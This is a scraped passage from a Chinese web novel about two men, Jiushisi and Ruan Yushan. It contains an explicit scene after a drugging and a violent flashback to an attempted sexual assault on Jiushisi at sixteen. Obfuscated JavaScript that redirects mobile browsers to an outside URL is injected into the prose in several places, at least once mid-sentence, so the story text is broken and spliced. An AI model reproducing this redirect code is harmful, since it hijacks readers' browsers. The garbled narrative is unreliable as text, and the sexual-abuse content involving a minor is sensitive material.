九十四苍白的脸上浮现出一种不同寻常的淡红色,他险些从那罗迦的背上滚落,一个踉跄过后,眼角余光瞥见前头似乎有人进一步过来,打算伸手扶住自己。 可惜距离太远,那人站在月洞门前。 他扶住那罗迦的脊背站稳,在迷蒙的视野中一下子看见了阮玉山。 是不同以往的,既不对他笑,也不开口同他打闹的阮玉山。 可到底是见到阮玉山了。 九十四的心像落地似的稳稳沉了下去,他的脑海现在是一团乱麻,看见阮玉山,他忽松了口气,自顾自地点头,冲对方轻声打了个招呼:“阮玉山。” 他以为这声音很明显,其实小得阮玉山压根听不见。 九十四浑身热得发慌,他伸手拽住自己的腰带,刚想扯开,又回忆起出门前阮玉山层将他一顿呵斥,说不准在外头赤条条地行走。 九十四皱着眉头,长长叹了口气,突然觉得阮玉山这人真是不讲人情。 自己已然难受成这样,阮玉山还要跑到他脑子里辖制他。 他又是憋屈又是愤怒,因此抽了抽嘴角,一脸不忿地嘀嘀咕咕,用蝣语骂了阮玉山几句,左脚踩右脚,把鞋子边走边脱了下来。 却是没再动自己的衣带。 接着他看见了池塘里金光粼粼的水面。 现在阮玉山在跟前了,九十四是脑子也不想动了,拳头也不想使了。反正有阮玉山,什么齐且柔齐且刚,要想杀他,先去找阮玉山的麻烦吧! 九十四这会子要让自己舒坦舒坦。 他踩掉了鞋袜,步履蹒跚走到池塘边,赤着脚,扑通一声跪下,弯了腰,伸手下去,要跟里头的锦鲤抢水喝。 九十四伸直了胳膊一捞,捞起来一只小鱼苗。 鱼苗在他掌心那汪水里扑腾,九十四感觉自己的心跳咚咚咚响,扑腾得比鱼苗还厉害。 他又想抬头去寻一眼阮玉山。 这回阮玉山没等他抬头,先到了他眼前。 黑压压的影子遮住了从院墙上方斜照到九十四身上的所有的夕阳,阮玉山这才瞧见九十四耳后已是绯红一片。 他看见九十四撑在池塘边,整个身体单薄纤细,摇摇欲坠,从被拉扯开的领口就能窥见已经挠红的锁骨。 若他再不出手,九十四就要低头把手里的鱼苗给一口喝下去了。 阮玉山一把攥住九十四的手腕,带着严厉的语气沉声问:“到哪里去了?” 九十四手一抖,本就所剩不多的池水连带着鱼苗簌簌地滚落回了池塘。 他将目光凝聚到阮玉山修长有力的五指上。 明明自己浑身已是滚烫非常,可九十四依旧很清晰地感知到阮玉山手掌的温热。 他盯着这只手,盯着阮玉山手背鼓起的青筋,追寻青筋的脉络一路看向阮玉山被护腕包裹得一丝不苟的小臂。 阮玉山见他不说话,眼下又一片浮红,心中隐隐猜到了什么。 正要松手去给九十四把脉,他的手忽然被九十四反过来抓住。 接着,他眼睁睁看着九十四捧住他的手背,将脸微微一侧,闭着眼,朝他的掌心贴了过去。 阮玉山指尖颤了颤。 九十四偏着头,把脸在他的手心蹭了蹭,猝不及防发出一声低吟。 阮玉山双唇紧抿,气不打一处来。 他抬起另一只手,指尖按住九十四的手腕,摸到对方脉搏跳动的速度快得惊人。 心中猜测八/九不离十。 他二话不说,绕到九十四身后,把人拦腰抱起,只往屋子里去。 月洞门外,云岫只听见院子里一声低喝:“谁也不许进来。” 说话间九十四已经被丢进了床上。 阮玉山面色阴寒,先探九十四的呼吸,又问:“吃了什么药?” 九十四抓住他的手指,愣是一个字不吭,用干燥的嘴唇碰了碰阮玉山的指尖,随后望向他。 透过窗格刺进房中的绚烂夕阳使得九十四恍惚了一下,他双目眸光一闪,似乎清醒了一瞬,又把阮玉山的手还回去。 接着九十四往床内蹭了蹭,垂下眼,虚着气道:“阮玉山,我好像病了。” 阮玉山杀人的心都有了。 他握住九十四的大腿,当即便听到九十四一声痛哼,手心触到温柔湿润的一片衣料,阮玉山翻过手掌一看,自己刚才摸到的竟全是鲜血。 他蹙了蹙眉,鬼使神差的,把沾了鲜血的手放到鼻下嗅了嗅。 是兽药。 比寻常媚药猛烈几十倍的兽药。 阮玉山怒火中烧,蓦地站起来背着手在床边走了几步,压制住自己的怒气,再转回去伸出手指隔空点了点九十四,没有用,又恨恨瞪着九十四,想撒气都找不到人撒。 他俯身凑近,捏住九十四的下颌,眼中是压也压不住的怒意,几乎咬着牙一字一顿地说:“你不听话。” 言毕起身便要走开。 九十四不知哪来的力气,伸出胳膊抓住他不放手,反省的话不会说,只晓得拽着他的手指喊:“阮玉山?” 好像这会儿怕他生气了。 阮玉山一把抽出手。 身后床铺传来一声非常细微的困惑声。 阮玉山对此视若罔闻,走到书桌边取了纸笔,走笔如飞地开了张药方单子,走到门外,递给那罗迦:“拿给他们。看住院门。” 那罗迦叼着药单子跑了。 然后他关上门,去柜子中取了数张锦帕,再回到床沿坐下。 九十四背对着他,在床内蜷成一团,呼吸急促。 他将九十四的身体扳过来,手刚放进被子,便被九十四挡住。 九十四把他的手往被子外推:“……不。” 阮玉山用了强。 可探过去了,才察觉不对。 ——九十四的身体有问题。 用了那么猛的兽药,九十四竟然还是没什么反应。 难怪这人难受那么久,宁可硬撑,也不自己动手。 显然对方早就知道自己这处难言之隐,被阮玉山碰了,九十四一时有些恼怒的意思,又使劲推他:“……出去。” “这会子喊出去。”阮玉山在气头上,话说的虽是奚落的意思,但想着九十四这点隐疾,背后是否有些不可告人的往事也未可知,语气便不自觉轻缓了,责备也说得像哄人似的,“中人圈套的时候怎么不知道出去?” 九十四横过眼珠子剜他。 阮玉山可不怕他瞪,只管把胳膊伸向床头的柜子,从里头摸出两盒莹润的脂膏来。 这本是天气冷了,府里的丫头们怕他突然北上来此,经不住风吹,为他备着擦手用的。 阮玉山撕扯下一片衣角,给九十四大腿包扎过后,趁九十四不备,蓦地将其外侧一条腿拉开。 脂膏盒的盖子被打开时与瓶身发出叮咚的撞击响,九十四忽一仰头,发出急促又快速的喘/叫。 他一条腿伸在外头,屈起来,脚趾绻缩得隐隐泛白。 另一条腿却和阮玉山的手一样,隐没在了被子下。 深秋的被子又厚又重,却仍能看出中间位置随着阮玉山的胳膊大起大伏。 九十四的额前沁出了细汗,密密地流淌下来,打湿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355882|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眉睫,顺着眼角滑倒鬓发中。 他声音渐渐哑了,明明叫得不多,只是喉咙里发出的低吟又快又短,偶尔夹杂着几声哭似的呛喘。 九十四意识模糊,脑子里白茫茫的,只能隐隐约约、断断续续地思索:这是阮玉山哪根指腹的薄茧,怎么这么磨人;那又是阮玉山第几处指节,怎么比指骨宽大许多。 阮玉山的另一只手还掐着他的下颌,九十四受不住了,一偏头,咬上阮玉山的虎口。 刚咬下去,又怕自己控制不住力道,轻轻松了口,别开头去,看向只有空荡荡枕头的另一方。 阮玉山倒是宁愿他咬自己的虎口。 他担心九十四咬舌头,强行将九十四的脸别过来,看着对方牙关下微微伸出来的舌尖,为了以防万一,便把手指伸了进去。 九十四的喘息混着本就短促的低吟变得含糊不清。 每当他忍不了要合起牙关时,咬到的是阮玉山修长灵活的指骨。 九十四不敢下嘴,只能微微张着双唇,任由阮玉山搅弄。 他的思绪彻底混乱了。 九十四双目失神,像抓住救命稻草似的抬手抓住阮玉山强健的小臂,朦朦胧胧间已分不清阮玉山的手究竟搅弄着几个地方。 屋子里沉重的喘息交杂着非常隐晦的滑动声。 九十四忽然挣扎了起来。 他的指尖隔着几层柔软的布料抓挠阮玉山的胳膊,脚后跟把绸缎做的床褥踢皱了,眼底浮起一层潋滟的水光,汗水打湿的长发弯曲地贴在他脖颈之间,那些地方的皮肤早已因为阮玉山而变成了另一种靡靡之色。 一声骤然的闷哼过后,整个院子寂静下来。 阮玉山抽出手指,先用锦帕擦干净自己的指根,再去擦九十四嘴角被他弄出来的涎液。 接着他将锦帕丢到地上,换了另一张,伸进被子里。 九十四艰难地转动那双淡蓝色的眼珠,似乎还没回神,便开口喊:“阮玉山?” “嗯?”阮玉山神色如常,眉眼间不见波澜。 他应声归应声,给九十四规规整整盖好被子,却作势要起身离开。 九十四眼疾手快抓住他两根手指,湿润的眼睫慢吞吞扬起来,嘶哑着声音问他:“去哪?” 平心而论九十四认为自己压根不依赖阮玉山,准确来说他不依赖任何人,可他现在就是不想阮玉山离开自己的视线。 不止视线,阮玉山现在离开这张床他都不舒坦。 九十四觉得这是药效没过,并非他想留住阮玉山,是药想留住阮玉山。 药的意思又不是他的意思。 如果现在床前的人不是阮玉山而是阮玉水,阮玉河,阮玉海,九十四理所应当地觉得自己都会像留阮玉山一样想留下任何人。 因此他抓阮玉山也抓得底气十足,问也问得底气十足。 阮玉山这会儿则还在因为他今天乱跑把自己跑出事的行径而不高兴,也没心思跟他斗嘴打趣,只冷着个脸说:“出去给你拿药。” 九十四一动不动。 阮玉山瞥着自己被抓住的手腕:“松开。” 九十四问:“你要拿多久?” 阮玉山发现这人脸皮是真厚。 他无奈,只能撇下脾气却又没好气地回答:“就在院子外。” 小厨房煎好了药便将药端来放在月洞门外,有阮玉山的吩咐,谁都不敢踏进来。 九十四这才松手。 一碗煎好的解药下了肚,九十四还是不得劲。 他在心里掂量了一下,自己仍是非常不想阮玉山离开。 九十四判断这是药效没解完,所以他大手一挥,虚弱又豪横地模仿阮玉山平日的语气说道:“再来一碗。” 阮玉山是真想动手把他结结实实收拾一顿。 “你当药是什么?想喝几碗喝几碗?” 九十四瞅他一眼,又陷入沉默。 “老老实实躺下睡觉。”阮玉山才懒得管九十四心里在嘀咕什么骂人的话,把药放在床头,镇山神似的坐守在床边,“等你休息好再算账。” 九十四躺在被子里,看看阮玉山,又敛下眼睛,琢磨着怎么才能不让这人离开。 想来想去,没想出法子,倒真把自己想困了。 他的目光扫到阮玉山坐在床边时散落到被子外的一处衣角。 九十四从被子下伸出两根指头,夹住阮玉山的衣角,默不作声扯进被窝里,攥在掌心。 片刻后安心睡去。 45.由来 九十四知道自己在做梦。 他回到了十六岁那年,自己生辰的那天。 饕餮谷的蝣人每一个都有自己的编号,编号顺序按照他们出生前后来排大小。 他们的繁衍从来是成群结队,新生的蝣人小孩儿像被安排好一般在特定时间一批一批地诞世,由不同的喂养嬷嬷抱走,分区圈养,。 以出生时间制定序号,这个序号将会跟随他们短短的一生,直到被买走、屠杀。 一个饕餮谷有无数个饲养分圈,每个分圈中都有蝣人一号、二号、三号。 谷里有多少个分圈,就有多少个编号九十四的蝣人。 蝣人连自己身上的序号也不是独属于他们的。 饕餮谷会尽可能保证他们能顺利长大,以免谷中为了使蝣人繁衍所用的手段前功尽弃。 婴孩时期的两三年是蝣人一生中最好的两三年。 喂养嬷嬷像养兽崽子一样照料每一个才出生的蝣人,小孩儿落地时大多一个模样,他们的裹身布袋上除了那个伴随自己一生的序号,还有他们出生的日期,方便嬷嬷们区分不同分圈的蝣人,以避免偶尔的错混。 因此打蝣人记事起,他们认识的,牢牢记在心里的,就是裹身袋上那一个编号和一串代表生辰的数字。 那串数字是他们在这世间为数不多的、有资格完完全全拥有的、属于自己的东西。 自从可以上斗场靠打架捞点油水后,九十四每年都给身边的小蝣人过生辰。 百十八的生辰他会拿出重金请求驯监在外头买点最便宜的饴糖,坐在笼子里,看着百十八喜滋滋地一口一口吃完;百重三爱吃饼子,饼子比糖便宜,九十四会请求驯监多买些,粗糙寡淡的糠饼,百重三一口气能吃三个。 还有不少别的小蝣人,九十四偶尔记不住他们的生辰,但只要找到机会告诉他,他总会想法子搞些平日里难得一见的东西给他们打打牙祭。 能吃一顿干净饱饭,对蝣人而言是天大的喜事。 九十四对待自己的生辰则节俭许多。 他的口腹之欲不强,生辰时做过最奢靡的决定就是在十五岁那晚拜托驯监帮自己拿来了一整桶干净的水,又额外给了驯监许多金圆币,求对方通融通融,让自己到围墙边站着,痛痛快快洗了个澡。 那是炎炎夏日,入伏的七月,在驯监的看守下,九十四先掬水喝了个满饱,再脱光衣裳,趁着月光洗净了一身尘灰。 蝣人在驯监眼中无尊严可言,不管赤/裸与否,他们于驯监而言本该都是圈养的牲畜。 一只牲畜,穿不穿衣服,又有多大区别? 可十六岁的九十四俊美得太过超脱寻常,他的身体刚刚脱去稚嫩,举手投足呈现出一种介于青涩和成熟之间的舒展,四肢修长得恰到好处,在自由的夜空下仰头看向月亮的侧脸更是光影交错下一副完美的壁画。 驯监目不转睛盯着这个刚刚步入强盛成长期的蝣人。 饕餮谷长期以来敲骨吸髓的压榨使九十四的身体苍白瘦削,蝣人优异的血脉又让他天然展露出具有蓬勃生命力的健美,长年累月在斗场拼搏的生活让九十四在薄薄的皮肤下积蓄了强大的力量,他看起来单薄却不柔弱,纤细而又矫健。 这是短命的蝣人一眼看得到头的生命中最美丽的年纪。 驯监心猿意马,他看见九十四乌黑的卷曲长发披散在光滑透亮的脊背上,像白与黑交织的绸缎,连九十四擦洗身体时拂过皮肤的指尖看起来都有些撩拨的意思。 于是当九十四穿整好后,驯监用吃剩的半个烧饼冲他招手,却在九十四碰到烧饼的一瞬企图将九十四拉进怀里。 九十四起先没明白对方意欲何为,只是出于对驯监自来的反感,他下意识使了反力,稳稳站在原地,反而让蹲在台阶上的驯监险些一个踉跄。 在这个地方,驯监是奴,蝣人是畜,但更是谷主的摇钱树。 整日在蝣人面前作威作福的驯监,说白了是替谷主看树的。 作为售卖的货物,蝣人最需要得到保证的就是纯正的血脉,血脉越正的蝣人玄气越强,价值也就更高。 驯监在饕餮谷对待蝣人可以打骂、侮辱、折磨,可一旦有了奸污的心思,染指了蝣人的血脉,那就是死罪。 即便是男蝣人,也有他们的用处——除了发配去负责繁衍,不少来饕餮谷的主顾非富即贵,癖好非常,男蝣人因着这个缘故,要送也是秘密地被送到主顾们的床上,而非低贱的驯监所能觊觎。 故而驯监不可染指蝣人的律法,在饕餮谷不分男女,一视同仁。 这晚起了歹心的驯监打定主意要尝尝蝣人的滋味,他瞅着夜色浓重,左右无人,对九十四说:“你同我来,我给你个好处。” 驯监是不可能无缘无故给蝣人好处的,但九十四不得不去。 这由不得他做主。 倘或他答应了,便是跟着驯监去看看那所谓的“好处”;倘或他不答应,便是在十五岁生辰这晚挨上一顿鞭子,被打得神志不清,再被拖去看驯监的“好处”。 九十四沉默地跟着驯监走了。 他从没在饕餮谷用戴着镣铐的双脚丈量过那么远的路,直到在驯监的带领下前路越来越黑,越来越暗,九十四到了一处自己从未见过的所在。 一座固若金汤的铁皮房子。 西北的夜晚旷野上无比安静,他和驯监在角落里看着不远处那个密不透风的铁房子,里头一丝一毫的动静都传不出来。 “知道里面在做什么吗?”驯监悄无声息转到他的后方,用蝣语问他。 九十四摇头。 下一瞬,他突然被一脚踹到地上,还没来得及爬起来,一个沉重滚烫的身体就覆了过来。 驯监的双手同时往他的衣衫下摆和裤子里探:“我来告诉你!” 九十四猝不及防,原以为自己要莫名挨一顿打,岂知愣神的片刻,一只手摸到自己光滑的小腹下头去了! “果然是个青龙!”他听见对方在自己耳后发出一种意味不明的笑,“稀罕物!” 九十四就是再迟钝也明白对方要做什么了。 他是十六岁,不是六岁,男人平日里无可避免的一些本能和习性他也很偶尔地有过,饕餮谷那一条条不准驯监染指蝣人的铜条铁律他更明白是什么意思。 九十四没料到自己的驯监如此大胆,冒着性命色欲熏心。 他当即撑着地面一个翻身,胳膊肘擦过地表粗糙的泥灰,先拿小腿把驯监的膝盖窝绞紧后再用反过来的半边身体将其往后掼,待驯监一个不稳躺到地上,鲤鱼打挺起来就往回跑。 哪晓得才跑了没几步,后头带着倒刺的皮鞭就刷拉拉地抽了过来。 驯监的鞭子是蝣人记忆中最可怖的存在,它们长且锋利,长满了密密麻麻的小刺,在蝣人很小很小——小到只有驯监们膝盖高的时候,就已经吃够了刺鞭的苦头。 打幼年起,驯监的鞭子就会追在九十四后头,一次又一次把他鞭倒、缠绕,甚至吊起来。 那时候他太弱小,正因为弱小,才觉得那么长的一根刺鞭能追他追到天涯海角,好像自己不管跑到哪里,只要身后的皮鞭一响,他立马就会被套回去。 这次也是一样。 细密而锋利的倒刺在他后背刮出了无数个长条的血口,蝣人总是会被记忆里那声悚然的鞭响震慑到,就像大象脚上的镣铐,九十四挨了一鞭,轰然倒下。 接着他被追赶上来的驯监打得血肉模糊,才刚洗干净的身体转眼间就成了个血人。 恼羞成怒的驯监拎着他的脖子,把他的额头一下一下往坚硬的墙壁上撞。 九十四有那么一刹恨过自己浑身的骨头怎么会比铜墙铁壁还要硬,他听见自己的头颅在墙面撞出沉闷的咚咚声,一下,两下,三下。 他的头怎么都撞不破,他的骨头怎么都敲不碎,他的命怎么都死不成。 温热的鲜血从他的额头流淌下来,先是成注成注,随着撞击声的增加,九十四眼前红艳艳的一片,鲜血在他眼前变成了哗啦啦的水帘,滴滴答答地往下落。 就在他觉得自己的头骨终于要被撞碎的前一刻,驯监停手,弯腰问他:“你从不从?” 九十四慢慢地缓了一口气,又开始庆幸自己还活着。 他睁开视野模糊的双目,戏谑地把眼珠子转过去,乜斜着驯监,低低地笑道:“你要玩我。” 他微微扭头,把嘴附到驯监耳侧,轻蔑地扯了扯嘴角,声如蚊蚋,却字字清晰:“你等死吧。” 驯监最后一次砰的把他的脑袋撞向墙壁。 在剧烈的头痛中醒来时,九十四险些以为自己眼睛没了。 那时起他才知道,原来头痛会连着眼睛一起痛,转一下都痛。 他恢复视觉后先看了看自己所处的地方,发现自己仍是躺在地上,周围密不透风,只有顶上一个小小的天窗给人透气。 他想他是进了那个铁皮监狱里了。 紧接着,他闻到一股奇怪的、难以言喻的暧昧气味。 这气味钻到鼻腔里的同时他听见了数不清的呻/吟和肉/体拍打声。 九十四还没来得及反应,驯监带着刺鞭走到他旁边,用脚踢了踢他的太阳穴。 他此刻魂魄都轻飘飘的,身体更像个空荡荡的沙包,随着驯监的踢打晃了晃脑袋, 很快九十四被驯监拎起来,抓着后脑勺,一举撞到身侧的铁栏杆上。 他听见对方狞笑:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的身体没有因为药物出现任何反应,好像本该被激发的欲望冲到了另一个地方,他在驯监无尽的挣扎中用镣铐间的锁链套住了对方的脖子,硬生生用三指粗的链条绞下了驯监的脑袋。 这是他第一次杀人。 九十四坐在地上,用很短的时间,使自己大脑渐渐恢复了清明。 他看着面前头身分离的驯监,眼神无比冷静。 他很清楚,如若今日给对方留了活路,那来日自己将再无一天好时候可过。 自己这是在替饕餮谷执行被疏忽的律法。 远处听到动静赶来的驯监望见这一幕发出惊呼,九十四抬起脸,淡漠地凝视着他们。 他不会死的。 九十四最明白不过。 他和百十八是目前饕餮谷最有价值的蝣人。 谷主舍不得卖他,更不会舍得杀他。 他的一条命价值万金,抵得过一百条驯监的命。 只是无可避免要吃一顿鞭子。 九十四一动不动,等待着跑过来的驯监们一鞭子将他抽倒在地。 这是他三年来每一次梦境的结局。 驯监们的脚步和身影近了,带着无数倒刺的鞭子直冲他面门而来。 九十四闭眼,听见鞭子响亮地抽打在自己的脸上。 鲜血从长长的口子里喷涌而出,他的面颊血流如注。 他抬起手,摸到侧脸,果然是温热的触感。 可是久久没人过来把他的头踩在坚硬冰冷的地面上。 九十四蹙了蹙眉,缓慢睁眼。 没有坚硬的地面,没有过去无数次醒来时的铁栏杆。 这次梦的尽头是阮玉山。 “眼睛还没睁开,就知道占便宜了?” 阮玉山挑眉,垂目看着自己被九十四摸来摸去的手背。 他刚才换了个位置,同九十四一个朝向地坐在床头的枕边,还屈起一边膝盖,鞋底面朝床外地把折起的腿平放在床上,抵着九十四的小腿,防止对方掉下去。 这会儿他的指尖正从九十四头顶顺着耳朵摸到九十四脸上,手心贴了又用手背贴,来回地试探九十四的体温。 哪晓得试到一半,九十四人还皱着眉头睡觉,掌心却相当自觉地挨到他手背来了。 阮玉山见九十四猛地醒了,又怔怔盯着他,便认真低眼望回去,不着痕迹地把九十四的胳膊放回被子里。 同时一寸一寸摸过九十四的脸,最后五指兜住对方瘦得过分尖俏的下巴,一脸琢磨的神色问道:“睡着觉还喘什么?药效又发作了?” 46.喝药 九十四不说话。 他把被阮玉山塞进被子里的那只手再次伸出来,想抓着阮玉山,可临到头动作一顿,转而去抓着下巴处的被子。 正好阮玉山的手还兜着他的下巴,如此,他的手背便贴着阮玉山的手背了。 他认为自己并非是一定要逮着阮玉山不可,只是当下才做了个不大愉快的梦,早前中的药也还没解完,不碰着阮玉山便觉得心里空洞得很,这么手背贴着手背,心里有了实感,也能缓解一些。 等药效过了,他自然不会如此反常。 岂知他的手才挨上阮玉山,对方一个起身又要离开。 九十四眉头一皱,眼疾手快攥住阮玉山的手,心中有些不耐,语气也急躁了几分:“你又要去哪?” 这回换阮玉山莫名其妙了。 他扭过头,低眼一看,发现九十四拧着个眉毛拉着个脸,虽然脸色十分虚弱,但很有一副只要阮玉山不好好给个说法,他就能立马跳起来咬人一口的架势。 阮玉山是开了眼了,他似笑非笑地用还没收回来的指尖敲敲九十四的下巴:“衣不解带地守着你便罢了,这一觉睡醒起来,本老爷还得寸步不离地伺候你才行?” ——傍晚那会儿,九十四吃完药倒是安安稳稳睡了,阮玉山坐在床边上可难受半晌。 这事儿要说忍也忍得住,可面前躺着个才在自己手下大汗淋漓一场的美人儿,碰又不能碰,他到宁愿到隔壁去冲个凉水澡,说不定还舒服得快些。 好不容易等人睡熟了,阮玉山说走,结果一起来,发觉自己衣角卡被窝了。 他先是拽了拽,没拽出来,凝神琢磨片刻,掀开被子一看——九十四五根手指头紧紧攥着他衣裳呢! 非要脱身那也有法子,大不了把一身衣裳剐了,神不知鬼不觉就能走。 可阮玉山是个明白人。 九十四攥他的衣裳是想留这一层布料吗?那分明是想留他。 洞悉人心的阮老爷非常清楚,九十四离不开他,已然爱他爱得无法自拔了。 不过他清不清楚是一回事儿,九十四糊涂日子糊涂过又是一回事儿。 总不能他一个人操两份心,替九十四看清了自己的感情,还任着九十四把他当仇人一样天天糟践。 因此九十四一醒来,阮玉山就要走。 他非得让九十四想透彻看明白,阮玉山这个人,究竟是该拿来爱,还是拿来恨。 眼下九十四垂着眼皮不吭声,趁着这儿抓住了阮玉山,指腹微不可察地在对方手上摩挲,企图把此时手中的触感和温度长久地留在记忆里。 至于头顶那些抱怨,他左耳朵进右耳朵出,一个字也没听进去。 等阮玉山的话说完了,九十四狠下心一个撒手:“随你吧。” 接着被子一裹,滚到床角,背对着阮玉山,蚕蛹似的蜷成一团。 还没打定位置开始吐丝儿,九十四又一个翻身面向阮玉山,把自己的背挪到了最里头贴着墙,高高的眉骨下两只深深的蓝眼睛大蟒蛇似的幽幽盯着阮玉山。 好像阮玉山只要敢走,他就立马改吐信子。 阮玉山怕什么? 阮玉山起身就走。 九十四眉头一拧,收在被子里的手蓦地攥紧。 他这只手刚抓过阮玉山的手背,此刻手心还残留着阮玉山的体温。 九十四握紧手心,指腹间捻了又捻,被子外的一双眼睛眨也不眨地直勾勾看着阮玉山推门离开。 脚步声远了,九十四却没听见阮玉山回来的动静。 屋子里只剩下他一个人的呼吸。 窗外的天早已黑了,九十四数着,呼吸流转间分明也就一顿饭的功夫,可他却感觉时间长得天都快亮了。 他忽地掀开被子,见着脚踏边一双不知何时放好的新鞋——又或许是阮玉山在他出门时就给他备着的,他如今才看见。 九十四躬下身,把鞋穿到一半,想了想又脱下来,大摇大摆地光脚朝门外走去。 不成想一开门,瞧见阮玉山坐在院子的摇椅里。 这人晃晃悠悠地躺在那几株伶仃树影下,左手拿着个红底白釉的碗,右手放在扶手上,指尖有一搭没一搭地敲着手下上好的黄檀木,椅子边有一个小圆桌,桌上立着盏烛火幽微的灯笼。 九十四一开门,阮玉山敲木头的指尖停下了,笑吟吟睨着他,好像已经在椅子里等了他很久。 见他抓着门框不动,阮玉山招手:“过来喝药。” 合着先前只是出去给他端药了。 九十四又想回去把鞋穿上。 然而喝药迫在眉睫,九十四衡量衡量轻重,还是先迈出了门槛。 他走到阮玉山面前,瞅见那碗黑乎乎的药,还端端正正被对方拿着,可阮玉山本人却是一点要挪窝的迹象都没有。 这就不符合九十四的行为准则了。 从原则来讲,这椅子打他二人来到宅子起,就是他先坐的。 好比当初目连村小院的那把木凳,阮玉山先坐了,便是阮玉山的地盘,他无意去占领;那如今这椅子他先坐,便成了他的领地,阮玉山偷偷摸摸趁他不在就侵占他领地,他大度地不跟此人计较此等行径,但阮玉山赖着不走,那就不对了。 于是九十四说:“阮玉山,让开。” 显然阮玉山一眼看出他心中所想,只笑道:“反了你了。” “这宅子姓什么,主人是谁?”阮玉山坐起来问。 九十四说:“宅子姓易,主人是你。” 阮玉山又问:“宅子里的东西又该归谁?” 九十四略一思忖:“主人?” 阮玉山低头笑了笑。 他把九十四这俩字在心里回了一遍味儿,抬起头接着问:“那谁才是这椅子的主人?” 九十四闷声片刻,不再叫阮玉山起立,而是拿过碗,一仰头把药喝了下去。 喝完药正准备把空碗放到桌上,才瞧见那桌子太小,搁了一个灯笼便放不下其他。 若是要放,便得到别处去放。 九十四眼珠子一转,又原封不动塞回阮玉山手里:“你是主人,你的碗,你放。” 阮玉山接过碗,目光随着九十四细瘦的五指看向手腕,随后毫无预兆地伸出手,猛地拽住九十四的胳膊,一把将人拉进自己怀里,坐在他一条大腿上。 九十四脑子还没反应过来,身体先开始跟阮玉山对抗起来。 阮玉山不恼,只是把碗转手放进另一边的暗台上,胳膊像铁索一样箍着九十四,歪头在九十四耳后笑道:“真是奇了怪了,小蛇自己想盘窝,真抓进窝来又咬人。” 九十四听到这话,动作先是一滞,随后沉默地陷入思索。 九十四思索时便是这样一副神态:面无表情,眼神木然,其实心里早就九转十八弯。 半晌,他仿佛是想通了什么,当真不动了。 阮玉山了然微笑,大腿一颠,给九十四调了个舒坦的位置,圈在九十四腰上的手往后一按,让九十四顺着躺到自己身上。 九十四端端正正坐他大腿了,他又“啧”一声道:“饕餮谷专给你们喝西北风了?浑身就剩骨头架子。” 坐腿上都硌人。 九十四想也不想,随口道:“那你呢?你专啃黑泥巴?” 这话似乎是有意嘀咕得含糊,专叫阮玉山听不清:“什么?” 九十四不搭理他,暗自扬了扬唇,顺着阮玉山的手朝后躺。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384511|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 后背刚挨着阮玉山的胸口,九十四又觉着自己这样太逆来顺受了些,于是装模做样地在阮玉山怀里草草挣扎两下。 直到阮玉山轻轻拍打他的侧腰:“别乱动。” 九十四终于心安理得躺着了。 他由于人太单薄,阮玉山套在他身上的衣裳又稍大了些,加之后头的人胸膛健壮,绝不是皮包骨头的单板身型,九十四这么躺着,竟有几分陷在阮玉山身上的意思。 一股淡雅的熏香渐渐围绕着他,九十四周身被阮玉山的气息包裹着,这气味他闻着安稳,像又回到了昨晚在马背上靠着阮玉山熟睡的时候。 摇椅再这么一晃,九十四简直舒服得有些迷瞪了。 两个人四只脚交叉着放在摇椅的脚踏上,九十四浑身被阮玉山圈得严严实实,前所未有的踏实感使他再度昏昏欲睡。 于是他枕在阮玉山的胸膛,眼皮子不知不觉打起架来。 阮玉山瞧他要睡,便知是汤药里的酸枣仁和合欢皮起了催眠作用。 夜里风大,九十四体内残留的兽药尚未完全解除,需再得发几场汗才行。 眼下这当头若是随他睡了,指不定雪上加霜又要着凉一场。 按道理,以蝣人的身体,应该不至于抵挡不住如此简单的药效才对。 阮玉山抓过九十四的胳膊探了探脉搏,又把手掌挪到九十四背后骨珠的位置,用玄息感知一番,当真是玄气不足,气血两亏的脉象。 前一晚在矿洞中,他怀疑金钩陷阵法的最后一步并不一定非要用神器达到镇压的效果,毕竟三尖戟和自家老太爷的骨珠,两者光从本质上来说没有任何相似之处,唯一的共同点便是自带强大的玄力。 所以阮玉山当时诱使九十四借助木枪蓄满玄力后往阵法七寸之地掷去,不出所料,那一掷果真起了作用。 怪就怪在九十四太实在,出招时当真下了死手,耗费太多玄气。 更重要的是,阮玉山怀疑那把木枪上头的符阵短时间内杀过太多异灵,被杀的妖灵给木枪开了智,悄无声息吸了九十四太多玄气积蓄在自己法器本身,而九十四没有察觉。 这也是阮玉山方才给九十四把脉时才想通的。 否则光凭九十四一次蓄力,也不大可能起到镇压整个阵法的作用。 是那木枪无声无息间已汲取了九十四太多力量,化作了半把神器,恰好又被打入了阵法,促成了整个金钩陷的结阵。 这又恰逢第二天九十四出门一趟被人下药,阮玉山短时间内要给九十四解开那么猛的兽药,自然他开的药方也得下些猛料。 九十四前一日被木枪所吸收的玄气亏空还没填上,立马又吃了阮玉山给他疏解气血的烈性解药,这身体就是再怎么抗造,一时间也补不起来。 